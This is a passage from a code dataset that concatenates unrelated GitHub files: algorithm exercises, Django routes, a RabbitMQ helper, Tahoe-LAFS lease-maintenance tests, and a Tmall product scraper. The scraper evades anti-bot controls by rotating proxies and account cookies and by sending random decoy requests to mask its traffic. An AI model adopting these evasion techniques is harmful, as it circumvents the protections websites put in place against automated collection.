tmp = collections.deque()\n for _ in range(len(queue)):\n node = queue.popleft()\n if len(res) % 2 == 1:\n tmp.appendleft(node.val)\n else:\n tmp.append(node.val)\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n res.append(list(tmp))\n return res\n\n\n","repo_name":"BoatInTheRiver/codes_algorithm","sub_path":"剑指Offer/剑指 Offer 32 - III. 从上到下打印二叉树 III.py","file_name":"剑指 Offer 32 - III. 从上到下打印二叉树 III.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"10473830218","text":"from django.urls import path\n\nfrom .views import ( # isort:skip\n GuildChannelCreateView,\n GuildChannelDetailView,\n GuildChannelEditView,\n)\n\nurlpatterns = [\n path(\n \"/create/\",\n view=GuildChannelCreateView.as_view(),\n name=\"channel_create\",\n ),\n path(\n \"/edit\",\n view=GuildChannelEditView.as_view(),\n name=\"channel_edit\",\n ),\n path(\n \"//\",\n view=GuildChannelDetailView.as_view(),\n name=\"channel_details\",\n ),\n]\n","repo_name":"Rom1-J/E2EE","sub_path":"chat/apps/guilds/features/channels/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"36838095115","text":"#!/usr/bin/python\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport re\nimport subprocess\nimport traceback\n\n\ndef convert_erlang_to_json(term):\n term = re.sub('[\\s+]', '', term)\n term = re.sub('([<>].*?)}', r'\"\\1\"}', term)\n term = re.sub('{([a-z].*?),', r'{\"\\1\":', term)\n term = re.sub(':([a-z].*?)}', r':\"\\1\"}', term)\n return json.loads(term)\n\n\ndef main():\n try:\n raw_status = subprocess.check_output(\n \"rabbitmqctl eval 'rabbit_clusterer:status().'\",\n shell=True, stderr=subprocess.STDOUT\n )\n if \"Rabbit is running in cluster configuration\" not in raw_status:\n raise AttributeError\n status = convert_erlang_to_json(\n '\\n'.join(raw_status.split('\\n')[1:-3])\n )\n\n gospel_node = None\n for msg in status:\n if 'gospel' in msg:\n gospel_node = msg['gospel']['node'].split('@')[1]\n if gospel_node is None:\n raise AttributeError\n except AttributeError:\n result = {\n 'failed': True,\n 'error': raw_status,\n 'changed': True\n }\n except Exception:\n result = {\n 'failed': True,\n 'error': traceback.format_exc(),\n 'changed': True\n }\n else:\n result = {\n 'failed': False,\n 'hostname': gospel_node,\n 'changed': False\n }\n\n print(json.dumps(result))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"redbridge/kolla","sub_path":"docker/rabbitmq/rabbitmq_get_gospel_node.py","file_name":"rabbitmq_get_gospel_node.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"} +{"seq_id":"22412967334","text":"from bs4 import BeautifulSoup\nimport json, re, demjson\nimport time, random\nfrom requests_html import HTMLSession, AsyncHTMLSession\nimport dataReptiledb\nfrom entity import Book, ItemUrl, Logger\nimport threading, time\nimport getIpProxyPool\nimport constants\n\ndataReptiledb.host = \"192.168.47.210\"\n# 促销 url\npromotionUrl = 'https://mdskip.taobao.com/core/initItemDetail.htm?isUseInventoryCenter=false&cartEnable=true&service3C=false&isApparel=false&isSecKill=false&tmallBuySupport=true&isAreaSell=false&tryBeforeBuy=false&offlineShop=false&itemId={itemId}&showShopProm=false&isPurchaseMallPage=false&itemGmtModified=1621928176000&isRegionLevel=false&household=false&sellerPreview=false&queryMemberRight=true&addressLevel=2&isForbidBuyItem=false&callback=setMdskip×tamp=1622029723119&isg=eBIE8Mulj-IREQ65BOfChurza779JIRYjuPzaNbMiOCP_Hf671mVW6sFIY8BCnGVh6AwJ3oiiBs_BeYBq_C-nxvOa6Fy_3Hmn&isg2=BPz8DUnnsCHnEoT3_AthiILwzZqu9aAfdLEeZdZ9POfMoZwr_wX0r_dQgcnZ0th3'\n\n\n# logUtils = Logger(filename='./logs/current-detail.log', level='info')\n\n# file_object = open('D:\\\\爬虫\\\\TM\\\\item-detail-promo.txt', \"a\", encoding='utf-8')\n# file_object = open('./TM/item-detail-promo-01.txt', \"a\", encoding='utf-8')\ndef macth_brackets(text):\n match = re.search(\"TShop\\\\.Setup\\\\((.*)\\\\);\", text, re.S)\n text = match.group(0)\n stack = []\n match_s = \"(\"\n match_e = \")\"\n jsonStr = \"\"\n start_index = text.find(\"TShop.Setup\") + len(\"TShop.Setup\")\n end_index = len(text) - 1\n for i in range(start_index, end_index):\n if text[i] == match_s:\n stack.append(i)\n if text[i] == match_e:\n stack.pop()\n if len(stack) == 0:\n jsonStr = text[start_index + 1:i]\n break\n return jsonStr\ndef analySkuInfoJson(jsonStr):\n sku_infos = []\n skuInfoJson = json.loads(jsonStr)\n valItemInfo = skuInfoJson.get(\"valItemInfo\")\n if valItemInfo is None:\n return\n skuList = valItemInfo.get(\"skuList\")\n skuMap = valItemInfo.get(\"skuMap\")\n for jsonSkuInfo in skuList:\n info = SkuInfo(sku_id=None, spu_id=None, name=None, price=None)\n names = jsonSkuInfo.get(\"names\")\n pvs = jsonSkuInfo.get(\"pvs\")\n skuId = jsonSkuInfo.get(\"skuId\")\n price = skuMap.get(\";\" + pvs + \";\").get(\"price\")\n info.sku_id = skuId\n info.name = names\n info.price = price\n sku_infos.append(info)\n return sku_infos\n# 干扰函数\ndef disturbUrl(header, ip, logUtils):\n proxy = {'http:': \"http://\" + ip, 'https:': \"https://\" + ip}\n disturb_urls = []\n randint = random.randint(1, 10)\n #随机请求其他请求\n if randint % 2 == 0:\n disturb_urls = dataReptiledb.getRandDisturbUrl()\n if disturb_urls is None or len(disturb_urls) == 0:\n return\n session = HTMLSession()\n try:\n for (key,value) in disturb_urls[0].items():\n if value is not None and len(value) !=0 :\n session.get(url=value, headers=header, proxies=proxy)\n time.sleep(random.randint(1, 3))\n logUtils.logger.info(\"{thread} 执行一次 其他请求 url:{url} \".format(thread=threading.current_thread().getName(),\n url=value))\n except Exception as e:\n logUtils.logger.info(\"线程{thread} 执行其他请求发生异常\".format(thread=threading.current_thread().getName()))\n proxyIp = getIpProxyPool.get_proxy_from_redis()['proxy_detail']['ip']\n proxy = {'http': \"http://\" + proxyIp, 'https': \"https://\" + proxyIp}\n try:\n for (key, value) in disturb_urls[0].items():\n if value is not None and len(value) != 0:\n session.get(url=value, headers=header, proxies=proxy)\n time.sleep(random.randint(1, 3))\n logUtils.logger.info(\"{thread} 执行一次 其他请求 url:{url} \".format(thread=threading.current_thread().getName(),\n url=value))\n except:\n pass\n #\n\n\ndef write_db(detailUrl, shopName, category):\n item_urls = []\n for url in detailUrl:\n if url is not None:\n item_id = re.match(\".*?(id=.*&).*\", url, re.S).group(1).split(\"&\")[0].replace('id=', '')\n item_url = \"http:\" + url\n itemUrl = ItemUrl(itemId=item_id, itemUrl=item_url, shopName=shopName, category=category)\n item_urls.append(itemUrl)\n dataReptiledb.insertItemUrl(item_urls)\n\n\ndef loads_jsonp(_jsonp):\n try:\n return json.loads(re.match(\".*?({.*}).*\", _jsonp, re.S).group(1))\n except:\n raise ValueError('Invalid Input')\n\n\n# 实际解析进本信息方法\ndef processDefaultBookData(itemUrlEntity, header, ip, logUtils):\n proxy = {'http': \"http://\" + ip, 'https': \"https://\" + ip}\n session = HTMLSession()\n detailResponse = session.get(itemUrlEntity.itemUrl, proxies=proxy,headers=header)\n detailHtmlSoup = BeautifulSoup(detailResponse.text.encode(\"utf-8\"), features='html.parser')\n book = Book(tmId=itemUrlEntity.itemId, name=None, isbn=None, auther=None, fixPrice=None, promotionPrice=None,\n promotionPriceDesc=None, price=None, promotionType=None, activeStartTime=None,\n activeEndTime=None,\n activeDesc=\"\", shopName=itemUrlEntity.shopName, category=itemUrlEntity.category, sales=\"0\", press=None)\n if \"很抱歉，您查看的商品找不到了\" in detailResponse.text:\n dataReptiledb.insertDetailPrice(book)\n logUtils.logger.error(\n \"线程{threadName} - 商品已经下架 {id}\".format(threadName=threading.current_thread().getName(), id=itemUrlEntity.itemId))\n return None,2\n\n itemId = re.match(\".*?(id=.*&).*\", itemUrlEntity.itemUrl, re.S).group(1).split('&')[0].replace('id=', '')\n defaultPrice = re.match(\".*?(\\\"defaultItemPrice\\\":.*&).*\", detailResponse.text, re.S).group(1).split(',')[\n 0].replace(\"defaultItemPrice\", \"\").replace('\\\"', \"\").replace(\":\", \"\").replace(\",\", \"\")\n\n book.setPrice(defaultPrice)\n itmDescUl = detailHtmlSoup.find_all(name=\"ul\", attrs={\"id\": \"J_AttrUL\"})\n logUtils.logger.info(\"{itemId} {itmDescUl}\".format(itemId=itemId,itmDescUl=itmDescUl))\n if itmDescUl is None or len(itmDescUl) == 0:\n return\n contents = itmDescUl[0].contents\n for con in contents:\n if \"书名\" in con.next:\n book.setName(con.next.replace(\"书名: \", \"\"))\n if \"ISBN\" in con.next:\n book.setIsbn(con.next.replace(\"ISBN编号: \", \"\"))\n if (\"作者\" in con.next) or (\"编者\" in con.next):\n if \"作者地区\" not in con.next:\n book.setAuther(con.next.replace(\"作者: \", \"\"))\n if (\"定价:\" in con.next) or (\"定价：\" in con.next):\n book.setFixPrice(con.next.replace(\"定价: \", \"\").replace(\"价格: \", \"\").replace(\"定价：\", \"\"))\n if (\"出版社\" in con.next) or (\"出版社\" in con.next):\n book.setPress(con.next.replace(\"出版社名称:\", \"\").replace(\" \", \"\"))\n ##解析是否有sku信息\n jsonStr = macth_brackets(detailResponse.text)\n sku_infos = analySkuInfoJson(jsonStr)\n logUtils.logger.info(\n \"{threadName} <-> {item_id} 下的sku有 {num} 个\".format(threadName=threading.current_thread().getName(),\n item_id=itemUrlEntity.itemId,\n num=0 if sku_infos is None else len(sku_infos)))\n logUtils.logger.info(\n \"{threadName} <-> {item_id} 下的sku有 {num} 个\".format(threadName=threading.current_thread().getName(),\n item_id=itemUrlEntity.itemId,\n num=0 if sku_infos is None else len(sku_infos)))\n if sku_infos is not None and len(sku_infos) > 1:\n for sku_info in sku_infos:\n book.setSkuId(sku_info.sku_id)\n book.setSkuName(sku_info.name)\n book.setFixPrice(sku_info.price)\n dataReptiledb.insertDetailPrice(book)\n else:\n # 写入数据库\n dataReptiledb.insertDetailPrice(book)\n logUtils.logger.info(\n \"线程{threadName} - 基础信息抓取完成 {itemId}- 代理IP:{proxyIp}\".format(threadName=threading.current_thread().getName(),\n itemId=itemUrlEntity.itemId, proxyIp=ip))\n return book,1\n\n\n# 实际解析促销价方法\ndef processPromotionBookData(book, header, ip, logUtils):\n threadName = threading.current_thread().getName()\n proxy = {'http:': \"http://\" + ip, 'https:': \"https://\" + ip}\n session = HTMLSession()\n promotionJsonp = session.get(promotionUrl.format(itemId=book.getTmId()), headers=header,\n proxies=proxy)\n try:\n promotionJSON = loads_jsonp(promotionJsonp.text)\n except Exception as e:\n # cookie 解析失败更新账号\n dataReptiledb.updateHeaderStatus(0, header['account'])\n logUtils.logger.error(\n \"线程{threadName} - {itemId} 解析jsonp 失败,cookie 失效,代理IP:{ip}\".format(threadName=threadName, itemId=book.getTmId(),ip=ip))\n raise Exception(\n \"线程{threadName} - {itemId} 解析jsonp 失败,cookie 失效,代理IP:{ip}\".format(threadName=threadName, itemId=book.getTmId(),ip=ip))\n else:\n #商品已经下架，\n if promotionJSON.get(\"success\") is False:\n logUtils.logger.error(\n \"线程{threadName} - {itemId} 商品已经下载 ,代理IP:{ip}\".format(threadName=threadName, itemId=book.getTmId(),ip=ip))\n dataReptiledb.insertDetailPrice(book)\n #商品已经下架\n return 2\n if promotionJSON.get(\"defaultModel\") is None:\n dataReptiledb.updateHeaderStatus(0, header['account'])\n logUtils.logger.error(\n \"线程{threadName} - {itemId} 获取不到促销信息啦，可能cookie失效\".format(threadName=threadName, itemId=book.getTmId()))\n # time.sleep(random.randint(2, 10))\n raise Exception(\n \"线程{threadName} - {itemId} 获取不到促销信息啦，可能cookie失效\".format(threadName=threadName, itemId=book.getTmId()))\n\n # 如果是店铺vip 登陆状态下，这个价格就是实际的vip价格\n price = promotionJSON['defaultModel']['itemPriceResultDO']['priceInfo'].get('def', {}).get('price', 0)\n # 促销列表\n promotionList = promotionJSON['defaultModel']['itemPriceResultDO']['priceInfo'].get('def', {}).get(\"promotionList\",\n None)\n # 促销金额\n promotionPrice = 0\n promotionPriceType = ''\n if promotionList is None or len(promotionList) == 0:\n promotionPrice = price\n book.setPromotionPrice(promotionPrice)\n else:\n promotionPrice = promotionList[0].get('price', 0)\n promotionPriceType = promotionList[0].get('type', \"\")\n promotionPriceDesc = promotionList[0].get('promText', \"\")\n startTime = promotionList[0].get(\"startTime\")\n endTime = promotionList[0].get(\"endTime\")\n # 设置促销价\n book.setPromotionPrice(promotionPrice)\n book.setPromotionType(promotionPriceType)\n book.setPromotionPriceDesc(promotionPriceDesc)\n book.setActiveStartTime(startTime)\n book.setActiveEndTime(endTime)\n # 获取销量\n seles = promotionJSON['defaultModel'].get(\"sellCountDO\", {}).get(\"sellCount\", \"0\")\n book.setSales(sales=seles)\n # 活动\n tmallShopProm = promotionJSON['defaultModel']['itemPriceResultDO']['tmallShopProm']\n if len(tmallShopProm) != 0:\n promPlanMsg = []\n for shopProm in tmallShopProm:\n promPlanMsg.append(\",\".join(shopProm['promPlanMsg']))\n book.setActiveDesc(promPlanMsg)\n #\n # 提取相关sku\n # relatedAuctionsDO = promotionJSON.get(\"defaultModel\").get(\"relatedAuctionsDO\")\n # detailUrl = []\n # if relatedAuctionsDO is not None and relatedAuctionsDO.get(\"relatedAuctions\", None) is not None:\n # # 开始遍历提取\n # relatedAuctions = relatedAuctionsDO.get(\"relatedAuctions\")\n # if len(relatedAuctions) > 0:\n # for related in relatedAuctions:\n # itemId = related.get(\"itemId\")\n # url = \"//detail.tmall.com/item.htm?id=\" + str(itemId) + \"&temp=111\"\n # detailUrl.append(url)\n # write_db(detailUrl, shopName=book.getShopName(), category=book.getCategory())\n\n # 写入文件\n # file_object.write(book.toString() + \"\\n\")\n # file_object.flush()\n # logUtils.logger.info(\"线程{threadName} process book {id}\".format(threadName=threadName,id=book.tmId))\n\n # 保存数据\n dataReptiledb.insertDetailPrice(book)\n logUtils.logger.info(\"线程{threadName} 促销信息抓取完成 {id}\".format(threadName=threadName, id=book.tmId))\n return 1\n\n\n# 多线程调度方法\ndef processBookInfo(category, header, logUtils):\n pageSize = 10000\n while True:\n errCnt = 0\n retryCnt = 0\n index = 0\n proxyIp = getIpProxyPool.get_proxy_from_redis()['proxy_detail']['ip']\n itemUrls = dataReptiledb.getItemUrl(category=category, page_size=pageSize)\n if itemUrls is None or len(itemUrls) <= 0:\n break\n while index <= len(itemUrls) - 1:\n try:\n book,status = processDefaultBookData(itemUrls[index], header, proxyIp, logUtils)\n dataReptiledb.updateSuccessFlag(flag=1, itemId=itemUrls[index].itemId)\n proxyIp = getIpProxyPool.get_proxy_from_redis()['proxy_detail']['ip']\n #如果status = 2 说明已经下架，\n if status != 2:\n status = processPromotionBookData(book, header, proxyIp, logUtils)\n logUtils.logger.info(\"线程{threadName} - {itemId} 获取书籍信息成功 - 代理IP:{proxyIp}\".format(\n threadName=threading.current_thread().getName(),\n itemId=itemUrls[index].itemId, proxyIp=proxyIp))\n time.sleep(random.randint(5, 10))\n # 执行干扰函数\n disturbUrl(header, proxyIp, logUtils)\n except Exception as e:\n errCnt+=1\n logUtils.logger.error(\"线程{threadName} - {itemId} 发生异常 - 代理IP:{proxyIp} - {e}\".format(\n threadName=threading.current_thread().getName(), itemId=itemUrls[index].itemId, proxyIp=proxyIp,\n e=e))\n #超过阀值，直接退出\n if errCnt > constants.error_cnt:\n return\n #重试次数统计\n retryCnt += 1\n if retryCnt >= constants.retry_cnt:\n index += 1\n retryCnt = 0\n time.sleep(random.randint(10,20))\n proxyIp = getIpProxyPool.get_proxy_from_redis()['proxy_detail']['ip']\n headers = dataReptiledb.getHeaders(header['account'])\n if headers is None or len(headers) == 0:\n time.sleep(random.randint(10, 20))\n #当前cookie 已经被禁用，直接返回\n elif headers[0].get(\"status\") < 0:\n return\n else:\n header = headers[0]\n header.pop(\"status\")\n else:\n try:\n dataReptiledb.updateBookSuccessFlag(flag=status, itemId=itemUrls[index].itemId)\n except:\n logUtils.logger.info(\"线程{threadName} - {itemId} 更新is_sucess标志失败\".format(\n threadName=threading.current_thread().getName(), itemId=itemUrls[index].itemId))\n else:\n logUtils.logger.info(\"线程{threadName} - {itemId} 处理完成,代理IP:{ip}\".format(threadName=threading.current_thread().getName(), itemId=itemUrls[index].itemId, ip=proxyIp))\n index += 1\n finally:\n time.sleep(random.randint(1, 10))\n\n\n# 多线程调度方法\ndef processBookPromoInfo(category, header, logUtils):\n if header is None:\n return\n while True:\n errCnt = 0\n sucCnt = 0\n retryCnt = 0\n index = 0\n proxyIp = getIpProxyPool.get_proxy_from_redis()['proxy_detail']['ip']\n books = dataReptiledb.getBookByNotHavePromo(category=category, size=1000)\n if books is None or len(books) <= 0:\n break\n while index <= len(books) - 1:\n try:\n if header is None:\n return\n status = processPromotionBookData(books[index], header, proxyIp, logUtils)\n sucCnt += 1\n time.sleep(random.randint(10, 20))\n # 执行干扰函数\n disturbUrl(header, proxyIp, logUtils)\n except Exception as e:\n errCnt +=1\n logUtils.logger.info(\"成功统计-线程{threadName} 本次执行 {sucCnt}成功后 发生异常\".format(threadName=threading.current_thread().getName(),sucCnt=sucCnt))\n sucCnt = 0\n logUtils.logger.error(e)\n logUtils.logger.error(\"线程{threadName} - {itemId} 发生异常\".format(threadName=threading.current_thread().getName(), itemId=books[index].tmId))\n #\n if errCnt > constants.error_cnt:\n return\n proxyIp = getIpProxyPool.get_proxy_from_redis()['proxy_detail']['ip']\n retryCnt += 1\n if retryCnt >= constants.retry_cnt:\n index += 1\n retryCnt = 0\n headers = dataReptiledb.getHeaders(header['account'])\n if headers is None or len(headers) == 0:\n time.sleep(random.randint(10, 20))\n # 当前cookie 已经被禁用，直接返回\n elif headers[0].get(\"status\") < 0:\n return\n else:\n header = headers[0]\n header.pop(\"status\")\n time.sleep(random.randint(10, 20))\n else:\n try:\n dataReptiledb.updateBookSuccessFlag(flag=status, itemId=books[index].tmId)\n except:\n logUtils.logger.info(\"线程{threadName} - {itemId} 更新is_sucess标志失败\".format(threadName=threading.current_thread().getName(), itemId=books[index].tmId))\n else:\n logUtils.logger.info(\"线程{threadName} - {itemId} 处理完成,代理IP:{ip}\".format(threadName=threading.current_thread().getName(), itemId=books[index].tmId,ip=proxyIp))\n index += 1\n finally:\n time.sleep(random.randint(3, 10))\n\n\n# 多线程调度方法\ndef processBookDefaultInfo(category, header, logUtils):\n pageSize = 10000\n while True:\n errCnt = 0\n retryCnt = 0\n index = 0\n proxyIp = getIpProxyPool.get_proxy_from_redis()['proxy_detail']['ip']\n itemUrls = dataReptiledb.getItemUrl(category=category, page_size=pageSize)\n if itemUrls is None or len(itemUrls) <= 0:\n break\n while index <= len(itemUrls) - 1:\n try:\n book,status = processDefaultBookData(itemUrls[index], header, proxyIp, logUtils)\n dataReptiledb.updateSuccessFlag(flag=1, itemId=itemUrls[index].itemId)\n dataReptiledb.updateBookSuccessFlag(flag=1,itemId=itemUrls[index].itemId)\n #disturbUrl(header, proxyIp, logUtils)\n except Exception as e:\n errCnt+=1\n logUtils.logger.error(\"线程{threadName} - {itemId} 发生异常 - 代理IP:{proxyIp} - {e}\".format(\n threadName=threading.current_thread().getName(), itemId=itemUrls[index].itemId, proxyIp=proxyIp,\n e=e))\n #超过阀值，直接退出\n if errCnt > constants.error_cnt:\n return\n #重试次数统计\n retryCnt += 1\n if retryCnt >= constants.retry_cnt:\n index += 1\n retryCnt = 0\n time.sleep(random.randint(10,20))\n proxyIp = getIpProxyPool.get_proxy_from_redis()['proxy_detail']['ip']\n else:\n # try:\n # dataReptiledb.updateBookSuccessFlag(flag=status, itemId=itemUrls[index].itemId)\n # except:\n # logUtils.logger.info(\"线程{threadName} - {itemId} 更新is_sucess标志失败\".format(\n # threadName=threading.current_thread().getName(), itemId=itemUrls[index].itemId))\n # else:\n # logUtils.logger.info(\"线程{threadName} - {itemId} 处理完成,代理IP:{ip}\".format(threadName=threading.current_thread().getName(), itemId=itemUrls[index].itemId, ip=proxyIp))\n index += 1\n # finally:\n # time.sleep(random.randint(1, 10))\n\ndef processBookPromoInfoTest(category, headerIndex):\n while True:\n time.sleep(2)\n print(category, headerIndex)\n\n\nif __name__ == '__main__':\n # region Description\n # try:\n # i = 1 / 0\n # except Exception as e:\n # print(\"%s 处理成功 %s\", \"AA\", e)\n\n # disturb_urls = dataReptiledb.getRandDisturbUrl()\n # print(disturb_urls)\n\n # endregion\n # logUtils.logger.info(\"%s 处理成功 %s\", \"AA\", \"AAA\")\n dict_test={\"k\":\"1\",\"s\":1}\n print(dict_test.pop(\"k\"))","repo_name":"wangjufeng1002/data-scraping","sub_path":"com/dangdang/xa/data-scraping/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":21871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37249936801","text":"# 1. Write a Python program to get the largest number from a list without using built-in function.\n\n# Sample Input : [1, 5, -8, 0, -2]\n# Expected Output : 5\n\ndef largest(list1):\n max = list1[0]\n for i in list1:\n if i > max:\n max = i\n return max\n\nlist1 = [1, 5, -8, 0, -2]\nprint(largest(list1))\n\n# 2. Write a Python program to get the smallest number from a list without using built-in function.\n\n# Sample Input : [1, 5, -8, 0, -2]\n# Expected Output : -8\n\ndef smallest(list1):\n min = list1[0]\n for i in list1:\n if i <= min:\n min = i\n return min\n\nlist1 = [1, 5, -8, 0, -2]\nprint(smallest(list1))\n\n# 3. Write a Python program to unzip a list of tuples into individual lists.\n\n# Sample Input : [(1,2), (3,4), (8,9)]\n# Expected Output : [(1, 3, 8), (2, 4, 9)]\n\nl1 = [(1, 2), (3, 4), (8, 9)]\nprint(list(zip(*l1)))\n","repo_name":"bhavi133/Python-Daily-Assignment","sub_path":"24 Jan.py","file_name":"24 Jan.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15213513206","text":"from datetime import datetime, timedelta\n\nimport attr\nfrom allmydata.client import SecretHolder\nfrom allmydata.interfaces import IServer, IStorageBroker\nfrom allmydata.util.hashutil import CRYPTO_VAL_SIZE\nfrom fixtures import TempDir\nfrom hypothesis import given, note\nfrom hypothesis.strategies import (\n binary,\n builds,\n composite,\n dictionaries,\n integers,\n just,\n lists,\n randoms,\n sets,\n)\nfrom testtools import TestCase\nfrom testtools.matchers import (\n AfterPreprocessing,\n AllMatch,\n Always,\n Equals,\n HasLength,\n Is,\n MatchesAll,\n)\nfrom testtools.twistedsupport import succeeded\nfrom twisted.application.service import IService\nfrom twisted.internet.defer import Deferred, maybeDeferred, succeed\nfrom twisted.internet.task import Clock\nfrom twisted.python.filepath import FilePath\nfrom zope.interface import implementer\n\nfrom ..config import empty_config\nfrom ..foolscap import ShareStat\nfrom ..lease_maintenance import (\n LeaseMaintenanceConfig,\n MemoryMaintenanceObserver,\n NoopMaintenanceObserver,\n lease_maintenance_config_from_dict,\n lease_maintenance_config_to_dict,\n lease_maintenance_service,\n maintain_leases_from_root,\n renew_leases,\n visit_storage_indexes_from_root,\n)\nfrom .matchers import Provides, between, leases_current\nfrom .strategies import (\n clocks,\n interval_means,\n lease_maintenance_configurations,\n node_hierarchies,\n posix_timestamps,\n sharenums,\n storage_indexes,\n)\n\ndefault_lease_maint_config = LeaseMaintenanceConfig.from_node_config(empty_config)\n\n\ndef dummy_maintain_leases():\n pass\n\n\n@attr.s\nclass DummyStorageServer(object):\n \"\"\"\n A dummy implementation of ``IStorageServer`` from Tahoe-LAFS.\n\n :ivar buckets: A mapping from storage index to\n metadata about shares at that storage index.\n \"\"\"\n\n clock = attr.ib()\n buckets: dict[bytes, dict[int, ShareStat]] = attr.ib()\n lease_seed = attr.ib()\n\n def stat_shares(\n self, storage_indexes: list[bytes]\n ) -> Deferred[list[dict[int, ShareStat]]]:\n return succeed(list(self.buckets.get(idx, {}) for idx in storage_indexes))\n\n def get_lease_seed(self):\n return self.lease_seed\n\n def add_lease(self, storage_index, renew_secret, cancel_secret):\n for stat in self.buckets.get(storage_index, {}).values():\n stat.lease_expiration = (\n self.clock.seconds() + timedelta(days=31).total_seconds()\n )\n\n\nclass SharesAlreadyExist(Exception):\n pass\n\n\ndef create_share(\n storage_server: DummyStorageServer,\n storage_index: bytes,\n sharenum: int,\n size: int,\n lease_expiration: int,\n) -> None:\n \"\"\"\n Add a share to a storage index (\"bucket\").\n\n :param DummyServer storage_server: The server to populate with shares.\n :param bytes storage_index: The storage index of the shares.\n :param sharenum: The share number to add.\n :param int size: The application data size of the shares.\n :param int lease_expiration: The expiration time for the lease to attach\n to the shares.\n\n :raise SharesAlreadyExist: If there are already shares at the given\n storage index.\n\n :return: ``None``\n \"\"\"\n if sharenum in storage_server.buckets.get(storage_index, {}):\n raise SharesAlreadyExist(\n \"Cannot create shares for storage index where they already exist.\",\n )\n bucket = storage_server.buckets.setdefault(storage_index, {})\n bucket[sharenum] = ShareStat(\n size=size,\n lease_expiration=lease_expiration,\n )\n\n\ndef lease_seeds():\n return binary(\n min_size=20,\n max_size=20,\n )\n\n\ndef share_stats():\n return builds(\n ShareStat,\n size=integers(min_value=0),\n lease_expiration=integers(min_value=0, max_value=2 ** 31),\n )\n\n\ndef storage_servers(clocks):\n return builds(\n DummyStorageServer,\n clocks,\n dictionaries(storage_indexes(), dictionaries(sharenums(), share_stats())),\n lease_seeds(),\n ).map(\n DummyServer,\n )\n\n\n@implementer(IServer)\n@attr.s\nclass DummyServer(object):\n \"\"\"\n A partial implementation of a Tahoe-LAFS \"native\" storage server.\n \"\"\"\n\n _storage_server = attr.ib()\n\n def get_storage_server(self):\n return self._storage_server\n\n\n@implementer(IStorageBroker)\n@attr.s\nclass DummyStorageBroker(object):\n \"\"\"\n A partial implementation of a Tahoe-LAFS storage broker.\n \"\"\"\n\n clock = attr.ib()\n _storage_servers = attr.ib()\n\n def get_connected_servers(self):\n return self._storage_servers\n\n\n@composite\ndef storage_brokers(draw, clocks):\n clock = draw(clocks)\n return DummyStorageBroker(\n clock,\n draw(lists(storage_servers(just(clock)))),\n )\n\n\nclass LeaseMaintenanceConfigTests(TestCase):\n \"\"\"\n Tests related to ``LeaseMaintenanceConfig``.\n \"\"\"\n\n @given(lease_maintenance_configurations())\n def test_config_roundtrip(self, config):\n \"\"\"\n ``LeaseMaintenanceConfig`` round-trips through\n ``lease_maintenance_config_to_dict`` and\n ``lease_maintenance_config_from_dict``.\n \"\"\"\n dumped = lease_maintenance_config_to_dict(config)\n loaded = lease_maintenance_config_from_dict(dumped)\n self.assertThat(loaded, Equals(config))\n\n\nclass LeaseMaintenanceServiceTests(TestCase):\n \"\"\"\n Tests for the service returned by ``lease_maintenance_service``.\n \"\"\"\n\n @given(randoms())\n def test_interface(self, random):\n \"\"\"\n The service provides ``IService``.\n \"\"\"\n clock = Clock()\n service = lease_maintenance_service(\n dummy_maintain_leases,\n clock,\n FilePath(self.useFixture(TempDir()).join(\"last-run\")),\n random,\n lease_maint_config=default_lease_maint_config,\n )\n self.assertThat(\n service,\n Provides([IService]),\n )\n\n @given(\n randoms(),\n interval_means(),\n )\n def test_initial_interval(self, random, mean):\n \"\"\"\n When constructed without a value for ``last_run``,\n ``lease_maintenance_service`` schedules its first run to take place\n after an interval that falls uniformly in range centered on ``mean``\n with a size of ``range``.\n \"\"\"\n clock = Clock()\n # Construct a range that fits in with the mean\n range_ = timedelta(\n seconds=random.uniform(0, mean.total_seconds()),\n )\n\n service = lease_maintenance_service(\n dummy_maintain_leases,\n clock,\n FilePath(self.useFixture(TempDir()).join(\"last-run\")),\n random,\n LeaseMaintenanceConfig(\n mean,\n range_,\n timedelta(0),\n ),\n )\n service.startService()\n [maintenance_call] = clock.getDelayedCalls()\n\n datetime_now = datetime.utcfromtimestamp(clock.seconds())\n low = datetime_now + mean - (range_ // 2)\n high = datetime_now + mean + (range_ // 2)\n self.assertThat(\n datetime.utcfromtimestamp(maintenance_call.getTime()),\n between(low, high),\n )\n\n @given(\n randoms(),\n clocks(),\n interval_means(),\n interval_means(),\n )\n def test_initial_interval_with_last_run(self, random, clock, mean, since_last_run):\n \"\"\"\n When constructed with a value for ``last_run``,\n ``lease_maintenance_service`` schedules its first run to take place\n sooner than it otherwise would, by at most the time since the last\n run.\n \"\"\"\n datetime_now = datetime.utcfromtimestamp(clock.seconds())\n # Construct a range that fits in with the mean\n range_ = timedelta(\n seconds=random.uniform(0, mean.total_seconds()),\n )\n\n # Figure out the absolute last run time.\n last_run = datetime_now - since_last_run\n last_run_path = FilePath(self.useFixture(TempDir()).join(\"last-run\"))\n last_run_path.setContent(last_run.isoformat().encode(\"utf-8\"))\n\n service = lease_maintenance_service(\n dummy_maintain_leases,\n clock,\n last_run_path,\n random,\n LeaseMaintenanceConfig(\n mean,\n range_,\n timedelta(0),\n ),\n )\n service.startService()\n [maintenance_call] = clock.getDelayedCalls()\n\n low = datetime_now + max(\n timedelta(0),\n mean - (range_ // 2) - since_last_run,\n )\n high = max(\n # If since_last_run is one microsecond (precision of timedelta)\n # then the range is indivisible. Avoid putting the expected 